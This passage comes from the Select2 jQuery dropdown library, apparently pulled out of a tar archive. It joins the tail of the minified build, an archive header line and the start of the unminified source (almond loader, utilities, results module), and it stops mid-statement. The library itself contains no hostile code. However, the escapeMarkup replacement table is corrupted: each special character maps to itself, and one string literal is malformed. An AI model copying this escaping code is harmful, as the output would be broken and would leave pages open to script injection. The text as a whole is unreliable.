D=b(l.amdBase+"compat/initSelection");l.dataAdapter=j.Decorate(l.dataAdapter,D)}}if(null==l.resultsAdapter&&(l.resultsAdapter=c,null!=l.ajax&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,x)),null!=l.placeholder&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,w)),l.selectOnClose&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,A))),null==l.dropdownAdapter){if(l.multiple)l.dropdownAdapter=u;else{var E=j.Decorate(u,v);l.dropdownAdapter=E}if(0!==l.minimumResultsForSearch&&(l.dropdownAdapter=j.Decorate(l.dropdownAdapter,z)),l.closeOnSelect&&(l.dropdownAdapter=j.Decorate(l.dropdownAdapter,B)),null!=l.dropdownCssClass||null!=l.dropdownCss||null!=l.adaptDropdownCssClass){var F=b(l.amdBase+"compat/dropdownCss");l.dropdownAdapter=j.Decorate(l.dropdownAdapter,F)}l.dropdownAdapter=j.Decorate(l.dropdownAdapter,y)}if(null==l.selectionAdapter){if(l.multiple?l.selectionAdapter=e:l.selectionAdapter=d,null!=l.placeholder&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,f)),l.allowClear&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,g)),l.multiple&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,h)),null!=l.containerCssClass||null!=l.containerCss||null!=l.adaptContainerCssClass){var G=b(l.amdBase+"compat/containerCss");l.selectionAdapter=j.Decorate(l.selectionAdapter,G)}l.selectionAdapter=j.Decorate(l.selectionAdapter,i)}if("string"==typeof l.language)if(l.language.indexOf("-")>0){var H=l.language.split("-"),I=H[0];l.language=[l.language,I]}else l.language=[l.language];if(a.isArray(l.language)){var J=new k;l.language.push("en");for(var K=l.language,L=0;L<K.length;L++){var M=K[L],N={};try{N=k.loadPath(M)}catch(a){try{M=this.defaults.amdLanguageBase+M,N=k.loadPath(M)}catch(a){l.debug&&window.console&&console.warn&&console.warn('Select2: The language file for "'+M+'" could not be automatically loaded. A fallback will be used instead.');continue}}J.extend(N)}l.translations=J}else{var O=k.loadPath(this.defaults.amdLanguageBase+"en"),P=new k(l.language);P.extend(O),l.translations=P}return l},D.prototype.reset=function(){function b(a){function b(a){return l[a]||a}return a.replace(/[^\u0000-\u007E]/g,b)}function c(d,e){if(""===a.trim(d.term))return e;if(e.children&&e.children.length>0){for(var f=a.extend(!0,{},e),g=e.children.length-1;g>=0;g--){null==c(d,e.children[g])&&f.children.splice(g,1)}return f.children.length>0?f:c(d,f)}var h=b(e.text).toUpperCase(),i=b(d.term).toUpperCase();return h.indexOf(i)>-1?e:null}this.defaults={amdBase:"./",amdLanguageBase:"./i18n/",closeOnSelect:!0,debug:!1,dropdownAutoWidth:!1,escapeMarkup:j.escapeMarkup,language:C,matcher:c,minimumInputLength:0,maximumInputLength:0,maximumSelectionLength:0,minimumResultsForSearch:0,selectOnClose:!1,sorter:function(a){return a},templateResult:function(a){return a.text},templateSelection:function(a){return a.text},theme:"default",width:"resolve"}},D.prototype.set=function(b,c){var d=a.camelCase(b),e={};e[d]=c;var f=j._convertData(e);a.extend(!0,this.defaults,f)},new D}),b.define("select2/options",["require","jquery","./defaults","./utils"],function(a,b,c,d){function e(b,e){if(this.options=b,null!=e&&this.fromElement(e),this.options=c.apply(this.options),e&&e.is("input")){var f=a(this.get("amdBase")+"compat/inputData");this.options.dataAdapter=d.Decorate(this.options.dataAdapter,f)}}return e.prototype.fromElement=function(a){var c=["select2"];null==this.options.multiple&&(this.options.multiple=a.prop("multiple")),null==this.options.disabled&&(this.options.disabled=a.prop("disabled")),null==this.options.language&&(a.prop("lang")?this.options.language=a.prop("lang").toLowerCase():a.closest("[lang]").prop("lang")&&(this.options.language=a.closest("[lang]").prop("lang"))),null==this.options.dir&&(a.prop("dir")?this.options.dir=a.prop("dir"):a.closest("[dir]").prop("dir")?this.options.dir=a.closest("[dir]").prop("dir"):this.options.dir="ltr"),a.prop("disabled",this.options.disabled),a.prop("multiple",this.options.multiple),d.GetData(a[0],"select2Tags")&&(this.options.debug&&window.console&&console.warn&&console.warn('Select2: The `data-select2-tags` attribute has been changed to use the `data-data` and `data-tags="true"` attributes and will be removed in future versions of Select2.'),d.StoreData(a[0],"data",d.GetData(a[0],"select2Tags")),d.StoreData(a[0],"tags",!0)),d.GetData(a[0],"ajaxUrl")&&(this.options.debug&&window.console&&console.warn&&console.warn("Select2: The `data-ajax-url` attribute has been changed to `data-ajax--url` and support for the old attribute will be removed in future versions of Select2."),a.attr("ajax--url",d.GetData(a[0],"ajaxUrl")),d.StoreData(a[0],"ajax-Url",d.GetData(a[0],"ajaxUrl")));var e={};e=b.fn.jquery&&"1."==b.fn.jquery.substr(0,2)&&a[0].dataset?b.extend(!0,{},a[0].dataset,d.GetData(a[0])):d.GetData(a[0]);var f=b.extend(!0,{},e);f=d._convertData(f);for(var g in f)b.inArray(g,c)>-1||(b.isPlainObject(this.options[g])?b.extend(this.options[g],f[g]):this.options[g]=f[g]);return this},e.prototype.get=function(a){return this.options[a]},e.prototype.set=function(a,b){this.options[a]=b},e}),b.define("select2/core",["jquery","./options","./utils","./keys"],function(a,b,c,d){var e=function(a,d){null!=c.GetData(a[0],"select2")&&c.GetData(a[0],"select2").destroy(),this.$element=a,this.id=this._generateId(a),d=d||{},this.options=new b(d,a),e.__super__.constructor.call(this);var f=a.attr("tabindex")||0;c.StoreData(a[0],"old-tabindex",f),a.attr("tabindex","-1");var g=this.options.get("dataAdapter");this.dataAdapter=new g(a,this.options);var h=this.render();this._placeContainer(h);var i=this.options.get("selectionAdapter");this.selection=new i(a,this.options),this.$selection=this.selection.render(),this.selection.position(this.$selection,h);var j=this.options.get("dropdownAdapter");this.dropdown=new j(a,this.options),this.$dropdown=this.dropdown.render(),this.dropdown.position(this.$dropdown,h);var k=this.options.get("resultsAdapter");this.results=new k(a,this.options,this.dataAdapter),this.$results=this.results.render(),this.results.position(this.$results,this.$dropdown);var l=this;this._bindAdapters(),this._registerDomEvents(),this._registerDataEvents(),this._registerSelectionEvents(),this._registerDropdownEvents(),this._registerResultsEvents(),this._registerEvents(),this.dataAdapter.current(function(a){l.trigger("selection:update",{data:a})}),a.addClass("select2-hidden-accessible"),a.attr("aria-hidden","true"),this._syncAttributes(),c.StoreData(a[0],"select2",this),a.data("select2",this)};return c.Extend(e,c.Observable),e.prototype._generateId=function(a){var b="";return b=null!=a.attr("id")?a.attr("id"):null!=a.attr("name")?a.attr("name")+"-"+c.generateChars(2):c.generateChars(4),b=b.replace(/(:|\.|\[|\]|,)/g,""),b="select2-"+b},e.prototype._placeContainer=function(a){a.insertAfter(this.$element);var b=this._resolveWidth(this.$element,this.options.get("width"));null!=b&&a.css("width",b)},e.prototype._resolveWidth=function(a,b){var c=/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;if("resolve"==b){var d=this._resolveWidth(a,"style");return null!=d?d:this._resolveWidth(a,"element")}if("element"==b){var e=a.outerWidth(!1);return e<=0?"auto":e+"px"}if("style"==b){var f=a.attr("style");if("string"!=typeof f)return null;for(var g=f.split(";"),h=0,i=g.length;h<i;h+=1){var j=g[h].replace(/\s/g,""),k=j.match(c);if(null!==k&&k.length>=1)return k[1]}return null}return b},e.prototype._bindAdapters=function(){this.dataAdapter.bind(this,this.$container),this.selection.bind(this,this.$container),this.dropdown.bind(this,this.$container),this.results.bind(this,this.$container)},e.prototype._registerDomEvents=function(){var b=this;this.$element.on("change.select2",function(){b.dataAdapter.current(function(a){b.trigger("selection:update",{data:a})})}),this.$element.on("focus.select2",function(a){b.trigger("focus",a)}),this._syncA=c.bind(this._syncAttributes,this),this._syncS=c.bind(this._syncSubtree,this),this.$element[0].attachEvent&&this.$element[0].attachEvent("onpropertychange",this._syncA);var d=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;null!=d?(this._observer=new d(function(c){a.each(c,b._syncA),a.each(c,b._syncS)}),this._observer.observe(this.$element[0],{attributes:!0,childList:!0,subtree:!1})):this.$element[0].addEventListener&&(this.$element[0].addEventListener("DOMAttrModified",b._syncA,!1),this.$element[0].addEventListener("DOMNodeInserted",b._syncS,!1),this.$element[0].addEventListener("DOMNodeRemoved",b._syncS,!1))},e.prototype._registerDataEvents=function(){var a=this;this.dataAdapter.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerSelectionEvents=function(){var b=this,c=["toggle","focus"];this.selection.on("toggle",function(){b.toggleDropdown()}),this.selection.on("focus",function(a){b.focus(a)}),this.selection.on("*",function(d,e){-1===a.inArray(d,c)&&b.trigger(d,e)})},e.prototype._registerDropdownEvents=function(){var a=this;this.dropdown.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerResultsEvents=function(){var a=this;this.results.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerEvents=function(){var a=this;this.on("open",function(){a.$container.addClass("select2-container--open")}),this.on("close",function(){a.$container.removeClass("select2-container--open")}),this.on("enable",function(){a.$container.removeClass("select2-container--disabled")}),this.on("disable",function(){a.$container.addClass("select2-container--disabled")}),this.on("blur",function(){a.$container.removeClass("select2-container--focus")}),this.on("query",function(b){a.isOpen()||a.trigger("open",{}),this.dataAdapter.query(b,function(c){a.trigger("results:all",{data:c,query:b})})}),this.on("query:append",function(b){this.dataAdapter.query(b,function(c){a.trigger("results:append",{data:c,query:b})})}),this.on("keypress",function(b){var c=b.which;a.isOpen()?c===d.ESC||c===d.TAB||c===d.UP&&b.altKey?(a.close(),b.preventDefault()):c===d.ENTER?(a.trigger("results:select",{}),b.preventDefault()):c===d.SPACE&&b.ctrlKey?(a.trigger("results:toggle",{}),b.preventDefault()):c===d.UP?(a.trigger("results:previous",{}),b.preventDefault()):c===d.DOWN&&(a.trigger("results:next",{}),b.preventDefault()):(c===d.ENTER||c===d.SPACE||c===d.DOWN&&b.altKey)&&(a.open(),b.preventDefault())})},e.prototype._syncAttributes=function(){this.options.set("disabled",this.$element.prop("disabled")),this.options.get("disabled")?(this.isOpen()&&this.close(),this.trigger("disable",{})):this.trigger("enable",{})},e.prototype._syncSubtree=function(a,b){var c=!1,d=this;if(!a||!a.target||"OPTION"===a.target.nodeName||"OPTGROUP"===a.target.nodeName){if(b)if(b.addedNodes&&b.addedNodes.length>0)for(var e=0;e<b.addedNodes.length;e++){var f=b.addedNodes[e];f.selected&&(c=!0)}else b.removedNodes&&b.removedNodes.length>0&&(c=!0);else c=!0;c&&this.dataAdapter.current(function(a){d.trigger("selection:update",{data:a})})}},e.prototype.trigger=function(a,b){var c=e.__super__.trigger,d={open:"opening",close:"closing",select:"selecting",unselect:"unselecting",clear:"clearing"};if(void 0===b&&(b={}),a in d){var f=d[a],g={prevented:!1,name:a,args:b};if(c.call(this,f,g),g.prevented)return void(b.prevented=!0)}c.call(this,a,b)},e.prototype.toggleDropdown=function(){this.options.get("disabled")||(this.isOpen()?this.close():this.open())},e.prototype.open=function(){this.isOpen()||this.trigger("query",{})},e.prototype.close=function(){this.isOpen()&&this.trigger("close",{})},e.prototype.isOpen=function(){return this.$container.hasClass("select2-container--open")},e.prototype.hasFocus=function(){return this.$container.hasClass("select2-container--focus")},e.prototype.focus=function(a){this.hasFocus()||(this.$container.addClass("select2-container--focus"),this.trigger("focus",{}))},e.prototype.enable=function(a){this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("enable")` method has been deprecated and will be removed in later Select2 versions. Use $element.prop("disabled") instead.'),null!=a&&0!==a.length||(a=[!0]);var b=!a[0];this.$element.prop("disabled",b)},e.prototype.data=function(){this.options.get("debug")&&arguments.length>0&&window.console&&console.warn&&console.warn('Select2: Data can no longer be set using `select2("data")`. You should consider setting the value instead using `$element.val()`.');var a=[];return this.dataAdapter.current(function(b){a=b}),a},e.prototype.val=function(b){if(this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("val")` method has been deprecated and will be removed in later Select2 versions. Use $element.val() instead.'),null==b||0===b.length)return this.$element.val();var c=b[0];a.isArray(c)&&(c=a.map(c,function(a){return a.toString()})),this.$element.val(c).trigger("change")},e.prototype.destroy=function(){this.$container.remove(),this.$element[0].detachEvent&&this.$element[0].detachEvent("onpropertychange",this._syncA),null!=this._observer?(this._observer.disconnect(),this._observer=null):this.$element[0].removeEventListener&&(this.$element[0].removeEventListener("DOMAttrModified",this._syncA,!1),this.$element[0].removeEventListener("DOMNodeInserted",this._syncS,!1),this.$element[0].removeEventListener("DOMNodeRemoved",this._syncS,!1)),this._syncA=null,this._syncS=null,this.$element.off(".select2"),this.$element.attr("tabindex",c.GetData(this.$element[0],"old-tabindex")),this.$element.removeClass("select2-hidden-accessible"),this.$element.attr("aria-hidden","false"),c.RemoveData(this.$element[0]),this.$element.removeData("select2"),this.dataAdapter.destroy(),this.selection.destroy(),this.dropdown.destroy(),this.results.destroy(),this.dataAdapter=null,this.selection=null,this.dropdown=null,this.results=null},e.prototype.render=function(){var b=a('<span class="select2 select2-container"><span class="selection"></span><span class="dropdown-wrapper" aria-hidden="true"></span></span>');return b.attr("dir",this.options.get("dir")),this.$container=b,this.$container.addClass("select2-container--"+this.options.get("theme")),c.StoreData(b[0],"element",this.$element),b},e}),b.define("jquery-mousewheel",["jquery"],function(a){return a}),b.define("jquery.select2",["jquery","jquery-mousewheel","./select2/core","./select2/defaults","./select2/utils"],function(a,b,c,d,e){if(null==a.fn.select2){var f=["open","close","destroy"];a.fn.select2=function(b){if("object"==typeof(b=b||{}))return this.each(function(){var d=a.extend(!0,{},b);new c(a(this),d)}),this;if("string"==typeof b){var d,g=Array.prototype.slice.call(arguments,1);return this.each(function(){var a=e.GetData(this,"select2");null==a&&window.console&&console.error&&console.error("The select2('"+b+"') method was called on an element that is not using Select2."),d=a[b].apply(a,g)}),a.inArray(b,f)>-1?this:d}throw new Error("Invalid arguments for Select2: "+b)}}return null==a.fn.select2.defaults&&(a.fn.select2.defaults=d),c}),{define:b.define,require:b.require}}(),c=b.require("jquery.select2");return a.fn.select2.amd=b,c});select2.js000064400000451012151701413610006445 0ustar00/*! * Select2 4.0.6-rc.1 * https://select2.github.io * * Released under the MIT license * https://github.com/select2/select2/blob/master/LICENSE.md */ ;(function (factory) { if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define(['jquery'], factory); } else if (typeof module === 'object' && module.exports) { // Node/CommonJS module.exports = function (root, jQuery) { if (jQuery === undefined) { // require('jQuery') returns a factory that requires window to // build a jQuery instance, we normalize how we use modules // that require this pattern but the window provided is a noop // if it's defined (how jquery works) if (typeof window !== 'undefined') { jQuery = require('jquery'); } else { jQuery = require('jquery')(root); } } factory(jQuery); return jQuery; }; } else { // Browser globals factory(jQuery); } } (function (jQuery) { // This is needed so we can catch the AMD loader configuration and use it // The inner file should be wrapped (by `banner.start.js`) in a function that // returns the AMD loader references. var S2 =(function () { // Restore the Select2 AMD loader so it can be used // Needed mostly in the language files, where the loader is not inserted if (jQuery && jQuery.fn && jQuery.fn.select2 && jQuery.fn.select2.amd) { var S2 = jQuery.fn.select2.amd; } var S2;(function () { if (!S2 || !S2.requirejs) { if (!S2) { S2 = {}; } else { require = S2; } /** * @license almond 0.3.3 Copyright jQuery Foundation and other contributors. * Released under MIT license, http://github.com/requirejs/almond/LICENSE */ //Going sloppy to avoid 'use strict' string cost, but strict practices should //be followed. /*global setTimeout: false */ var requirejs, require, define; (function (undef) { var main, req, makeMap, handlers, defined = {}, waiting = {}, config = {}, defining = {}, hasOwn = Object.prototype.hasOwnProperty, aps = [].slice, jsSuffixRegExp = /\.js$/; function hasProp(obj, prop) { return hasOwn.call(obj, prop); } /** * Given a relative module name, like ./something, normalize it to * a real name that can be mapped to a path. * @param {String} name the relative name * @param {String} baseName a real name that the name arg is relative * to. * @returns {String} normalized name */ function normalize(name, baseName) { var nameParts, nameSegment, mapValue, foundMap, lastIndex, foundI, foundStarMap, starI, i, j, part, normalizedBaseParts, baseParts = baseName && baseName.split("/"), map = config.map, starMap = (map && map['*']) || {}; //Adjust any relative paths. if (name) { name = name.split('/'); lastIndex = name.length - 1; // If wanting node ID compatibility, strip .js from end // of IDs. Have to do this here, and not in nameToUrl // because node allows either .js or non .js to map // to same file. if (config.nodeIdCompat && jsSuffixRegExp.test(name[lastIndex])) { name[lastIndex] = name[lastIndex].replace(jsSuffixRegExp, ''); } // Starts with a '.' so need the baseName if (name[0].charAt(0) === '.' && baseParts) { //Convert baseName to array, and lop off the last part, //so that . matches that 'directory' and not name of the baseName's //module. For instance, baseName of 'one/two/three', maps to //'one/two/three.js', but we want the directory, 'one/two' for //this normalization. normalizedBaseParts = baseParts.slice(0, baseParts.length - 1); name = normalizedBaseParts.concat(name); } //start trimDots for (i = 0; i < name.length; i++) { part = name[i]; if (part === '.') { name.splice(i, 1); i -= 1; } else if (part === '..') { // If at the start, or previous value is still .., // keep them so that when converted to a path it may // still work when converted to a path, even though // as an ID it is less than ideal. In larger point // releases, may be better to just kick out an error. if (i === 0 || (i === 1 && name[2] === '..') || name[i - 1] === '..') { continue; } else if (i > 0) { name.splice(i - 1, 2); i -= 2; } } } //end trimDots name = name.join('/'); } //Apply map config if available. if ((baseParts || starMap) && map) { nameParts = name.split('/'); for (i = nameParts.length; i > 0; i -= 1) { nameSegment = nameParts.slice(0, i).join("/"); if (baseParts) { //Find the longest baseName segment match in the config. //So, do joins on the biggest to smallest lengths of baseParts. for (j = baseParts.length; j > 0; j -= 1) { mapValue = map[baseParts.slice(0, j).join('/')]; //baseName segment has config, find if it has one for //this name. if (mapValue) { mapValue = mapValue[nameSegment]; if (mapValue) { //Match, update name to the new value. foundMap = mapValue; foundI = i; break; } } } } if (foundMap) { break; } //Check for a star map match, but just hold on to it, //if there is a shorter segment match later in a matching //config, then favor over this star map. if (!foundStarMap && starMap && starMap[nameSegment]) { foundStarMap = starMap[nameSegment]; starI = i; } } if (!foundMap && foundStarMap) { foundMap = foundStarMap; foundI = starI; } if (foundMap) { nameParts.splice(0, foundI, foundMap); name = nameParts.join('/'); } } return name; } function makeRequire(relName, forceSync) { return function () { //A version of a require function that passes a moduleName //value for items that may need to //look up paths relative to the moduleName var args = aps.call(arguments, 0); //If first arg is not require('string'), and there is only //one arg, it is the array form without a callback. Insert //a null so that the following concat is correct. if (typeof args[0] !== 'string' && args.length === 1) { args.push(null); } return req.apply(undef, args.concat([relName, forceSync])); }; } function makeNormalize(relName) { return function (name) { return normalize(name, relName); }; } function makeLoad(depName) { return function (value) { defined[depName] = value; }; } function callDep(name) { if (hasProp(waiting, name)) { var args = waiting[name]; delete waiting[name]; defining[name] = true; main.apply(undef, args); } if (!hasProp(defined, name) && !hasProp(defining, name)) { throw new Error('No ' + name); } return defined[name]; } //Turns a plugin!resource to [plugin, resource] //with the plugin being undefined if the name //did not have a plugin prefix. function splitPrefix(name) { var prefix, index = name ? name.indexOf('!') : -1; if (index > -1) { prefix = name.substring(0, index); name = name.substring(index + 1, name.length); } return [prefix, name]; } //Creates a parts array for a relName where first part is plugin ID, //second part is resource ID. Assumes relName has already been normalized. function makeRelParts(relName) { return relName ? splitPrefix(relName) : []; } /** * Makes a name map, normalizing the name, and using a plugin * for normalization if necessary. Grabs a ref to plugin * too, as an optimization. */ makeMap = function (name, relParts) { var plugin, parts = splitPrefix(name), prefix = parts[0], relResourceName = relParts[1]; name = parts[1]; if (prefix) { prefix = normalize(prefix, relResourceName); plugin = callDep(prefix); } //Normalize according if (prefix) { if (plugin && plugin.normalize) { name = plugin.normalize(name, makeNormalize(relResourceName)); } else { name = normalize(name, relResourceName); } } else { name = normalize(name, relResourceName); parts = splitPrefix(name); prefix = parts[0]; name = parts[1]; if (prefix) { plugin = callDep(prefix); } } //Using ridiculous property names for space reasons return { f: prefix ? prefix + '!' + name : name, //fullName n: name, pr: prefix, p: plugin }; }; function makeConfig(name) { return function () { return (config && config.config && config.config[name]) || {}; }; } handlers = { require: function (name) { return makeRequire(name); }, exports: function (name) { var e = defined[name]; if (typeof e !== 'undefined') { return e; } else { return (defined[name] = {}); } }, module: function (name) { return { id: name, uri: '', exports: defined[name], config: makeConfig(name) }; } }; main = function (name, deps, callback, relName) { var cjsModule, depName, ret, map, i, relParts, args = [], callbackType = typeof callback, usingExports; //Use name if no relName relName = relName || name; relParts = makeRelParts(relName); //Call the callback to define the module, if necessary. if (callbackType === 'undefined' || callbackType === 'function') { //Pull out the defined dependencies and pass the ordered //values to the callback. //Default to [require, exports, module] if no deps deps = !deps.length && callback.length ? ['require', 'exports', 'module'] : deps; for (i = 0; i < deps.length; i += 1) { map = makeMap(deps[i], relParts); depName = map.f; //Fast path CommonJS standard dependencies. if (depName === "require") { args[i] = handlers.require(name); } else if (depName === "exports") { //CommonJS module spec 1.1 args[i] = handlers.exports(name); usingExports = true; } else if (depName === "module") { //CommonJS module spec 1.1 cjsModule = args[i] = handlers.module(name); } else if (hasProp(defined, depName) || hasProp(waiting, depName) || hasProp(defining, depName)) { args[i] = callDep(depName); } else if (map.p) { map.p.load(map.n, makeRequire(relName, true), makeLoad(depName), {}); args[i] = defined[depName]; } else { throw new Error(name + ' missing ' + depName); } } ret = callback ? callback.apply(defined[name], args) : undefined; if (name) { //If setting exports via "module" is in play, //favor that over return value and exports. After that, //favor a non-undefined return value over exports use. if (cjsModule && cjsModule.exports !== undef && cjsModule.exports !== defined[name]) { defined[name] = cjsModule.exports; } else if (ret !== undef || !usingExports) { //Use the return value from the function. defined[name] = ret; } } } else if (name) { //May just be an object definition for the module. Only //worry about defining if have a module name. defined[name] = callback; } }; requirejs = require = req = function (deps, callback, relName, forceSync, alt) { if (typeof deps === "string") { if (handlers[deps]) { //callback in this case is really relName return handlers[deps](callback); } //Just return the module wanted. In this scenario, the //deps arg is the module name, and second arg (if passed) //is just the relName. //Normalize module name, if it contains . or .. return callDep(makeMap(deps, makeRelParts(callback)).f); } else if (!deps.splice) { //deps is a config object, not an array. config = deps; if (config.deps) { req(config.deps, config.callback); } if (!callback) { return; } if (callback.splice) { //callback is an array, which means it is a dependency list. //Adjust args if there are dependencies deps = callback; callback = relName; relName = null; } else { deps = undef; } } //Support require(['a']) callback = callback || function () {}; //If relName is a function, it is an errback handler, //so remove it. if (typeof relName === 'function') { relName = forceSync; forceSync = alt; } //Simulate async callback; if (forceSync) { main(undef, deps, callback, relName); } else { //Using a non-zero value because of concern for what old browsers //do, and latest browsers "upgrade" to 4 if lower value is used: //http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#dom-windowtimers-settimeout: //If want a value immediately, use require('id') instead -- something //that works in almond on the global level, but not guaranteed and //unlikely to work in other AMD implementations. setTimeout(function () { main(undef, deps, callback, relName); }, 4); } return req; }; /** * Just drops the config on the floor, but returns req in case * the config return value is used. */ req.config = function (cfg) { return req(cfg); }; /** * Expose module registry for debugging and tooling */ requirejs._defined = defined; define = function (name, deps, callback) { if (typeof name !== 'string') { throw new Error('See almond README: incorrect module build, no module name'); } //This module may not have dependencies if (!deps.splice) { //deps is not an array, so probably means //an object literal or factory function for //the value. Adjust args. callback = deps; deps = []; } if (!hasProp(defined, name) && !hasProp(waiting, name)) { waiting[name] = [name, deps, callback]; } }; define.amd = { jQuery: true }; }()); S2.requirejs = requirejs;S2.require = require;S2.define = define; } }()); S2.define("almond", function(){}); /* global jQuery:false, $:false */ S2.define('jquery',[],function () { var _$ = jQuery || $; if (_$ == null && console && console.error) { console.error( 'Select2: An instance of jQuery or a jQuery-compatible library was not ' + 'found. Make sure that you are including jQuery before Select2 on your ' + 'web page.' ); } return _$; }); S2.define('select2/utils',[ 'jquery' ], function ($) { var Utils = {}; Utils.Extend = function (ChildClass, SuperClass) { var __hasProp = {}.hasOwnProperty; function BaseConstructor () { this.constructor = ChildClass; } for (var key in SuperClass) { if (__hasProp.call(SuperClass, key)) { ChildClass[key] = SuperClass[key]; } } BaseConstructor.prototype = SuperClass.prototype; ChildClass.prototype = new BaseConstructor(); ChildClass.__super__ = SuperClass.prototype; return ChildClass; }; function getMethods (theClass) { var proto = theClass.prototype; var methods = []; for (var methodName in proto) { var m = proto[methodName]; if (typeof m !== 'function') { continue; } if (methodName === 'constructor') { continue; } methods.push(methodName); } return methods; } Utils.Decorate = function (SuperClass, DecoratorClass) { var decoratedMethods = getMethods(DecoratorClass); var superMethods = getMethods(SuperClass); function DecoratedClass () { var unshift = Array.prototype.unshift; var argCount = DecoratorClass.prototype.constructor.length; var calledConstructor = SuperClass.prototype.constructor; if (argCount > 0) { unshift.call(arguments, SuperClass.prototype.constructor); calledConstructor = DecoratorClass.prototype.constructor; } calledConstructor.apply(this, arguments); } DecoratorClass.displayName = SuperClass.displayName; function ctr () { this.constructor = DecoratedClass; } DecoratedClass.prototype = new ctr(); for (var m = 0; m < superMethods.length; m++) { var superMethod = superMethods[m]; DecoratedClass.prototype[superMethod] = SuperClass.prototype[superMethod]; } var calledMethod = function (methodName) { // Stub out the original method if it's not decorating an actual method var originalMethod = function () {}; if (methodName in DecoratedClass.prototype) { originalMethod = DecoratedClass.prototype[methodName]; } var decoratedMethod = DecoratorClass.prototype[methodName]; return function () { var unshift = Array.prototype.unshift; unshift.call(arguments, originalMethod); return decoratedMethod.apply(this, arguments); }; }; for (var d = 0; d < decoratedMethods.length; d++) { var decoratedMethod = decoratedMethods[d]; DecoratedClass.prototype[decoratedMethod] = calledMethod(decoratedMethod); } return DecoratedClass; }; var Observable = function () { this.listeners = {}; }; Observable.prototype.on = function (event, callback) { this.listeners = this.listeners || {}; if (event in this.listeners) { this.listeners[event].push(callback); } else { this.listeners[event] = [callback]; } }; Observable.prototype.trigger = function (event) { var slice = Array.prototype.slice; var params = slice.call(arguments, 1); this.listeners = this.listeners || {}; // Params should always come in as an array if (params == null) { params = []; } // If there are no arguments to the event, use a temporary object if (params.length === 0) { params.push({}); } // Set the `_type` of the first object to the event params[0]._type = event; if (event in this.listeners) { this.invoke(this.listeners[event], slice.call(arguments, 1)); } if ('*' in this.listeners) { this.invoke(this.listeners['*'], arguments); } }; Observable.prototype.invoke = function (listeners, params) { for (var i = 0, len = listeners.length; i < len; i++) { listeners[i].apply(this, params); } }; Utils.Observable = Observable; Utils.generateChars = function (length) { var chars = ''; for (var i = 0; i < length; i++) { var randomChar = Math.floor(Math.random() * 36); chars += randomChar.toString(36); } return chars; }; Utils.bind = function (func, context) { return function () { func.apply(context, arguments); }; }; Utils._convertData = function (data) { for (var originalKey in data) { var keys = originalKey.split('-'); var dataLevel = data; if (keys.length === 1) { continue; } for (var k = 0; k < keys.length; k++) { var key = keys[k]; // Lowercase the first letter // By default, dash-separated becomes camelCase key = key.substring(0, 1).toLowerCase() + key.substring(1); if (!(key in dataLevel)) { dataLevel[key] = {}; } if (k == keys.length - 1) { dataLevel[key] = data[originalKey]; } dataLevel = dataLevel[key]; } delete data[originalKey]; } return data; }; Utils.hasScroll = function (index, el) { // Adapted from the function created by @ShadowScripter // and adapted by @BillBarry on the Stack Exchange Code Review website. // The original code can be found at // http://codereview.stackexchange.com/q/13338 // and was designed to be used with the Sizzle selector engine. var $el = $(el); var overflowX = el.style.overflowX; var overflowY = el.style.overflowY; //Check both x and y declarations if (overflowX === overflowY && (overflowY === 'hidden' || overflowY === 'visible')) { return false; } if (overflowX === 'scroll' || overflowY === 'scroll') { return true; } return ($el.innerHeight() < el.scrollHeight || $el.innerWidth() < el.scrollWidth); }; Utils.escapeMarkup = function (markup) { var replaceMap = { '\\': '\', '&': '&', '<': '<', '>': '>', '"': '"', '\'': ''', '/': '/' }; // Do not try to escape the markup if it's not a string if (typeof markup !== 'string') { return markup; } return String(markup).replace(/[&<>"'\/\\]/g, function (match) { return replaceMap[match]; }); }; // Append an array of jQuery nodes to a given element. Utils.appendMany = function ($element, $nodes) { // jQuery 1.7.x does not support $.fn.append() with an array // Fall back to a jQuery object collection using $.fn.add() if ($.fn.jquery.substr(0, 3) === '1.7') { var $jqNodes = $(); $.map($nodes, function (node) { $jqNodes = $jqNodes.add(node); }); $nodes = $jqNodes; } $element.append($nodes); }; // Cache objects in Utils.__cache instead of $.data (see #4346) Utils.__cache = {}; var id = 0; Utils.GetUniqueElementId = function (element) { // Get a unique element Id. If element has no id, // creates a new unique number, stores it in the id // attribute and returns the new id. // If an id already exists, it simply returns it. var select2Id = element.getAttribute('data-select2-id'); if (select2Id == null) { // If element has id, use it. if (element.id) { select2Id = element.id; element.setAttribute('data-select2-id', select2Id); } else { element.setAttribute('data-select2-id', ++id); select2Id = id.toString(); } } return select2Id; }; Utils.StoreData = function (element, name, value) { // Stores an item in the cache for a specified element. // name is the cache key. var id = Utils.GetUniqueElementId(element); if (!Utils.__cache[id]) { Utils.__cache[id] = {}; } Utils.__cache[id][name] = value; }; Utils.GetData = function (element, name) { // Retrieves a value from the cache by its key (name) // name is optional. If no name specified, return // all cache items for the specified element. // and for a specified element. var id = Utils.GetUniqueElementId(element); if (name) { if (Utils.__cache[id]) { return Utils.__cache[id][name] != null ? Utils.__cache[id][name]: $(element).data(name); // Fallback to HTML5 data attribs. } return $(element).data(name); // Fallback to HTML5 data attribs. } else { return Utils.__cache[id]; } }; Utils.RemoveData = function (element) { // Removes all cached items for a specified element. var id = Utils.GetUniqueElementId(element); if (Utils.__cache[id] != null) { delete Utils.__cache[id]; } }; return Utils; }); S2.define('select2/results',[ 'jquery', './utils' ], function ($, Utils) { function Results ($element, options, dataAdapter) { this.$element = $element; this.data = dataAdapter; this.options = options; Results.__super__.constructor.call(this); } Utils.Extend(Results, Utils.Observable); Results.prototype.render = function () { var $results = $( '<ul class="select2-results__options" role="tree"></ul>' ); if (this.options.get('multiple')) { $results.attr('aria-multiselectable', 'true'); } this.$results = $results; return $results; }; Results.prototype.clear = function () { this.$results.empty(); }; Results.prototype.displayMessage = function (params) { var 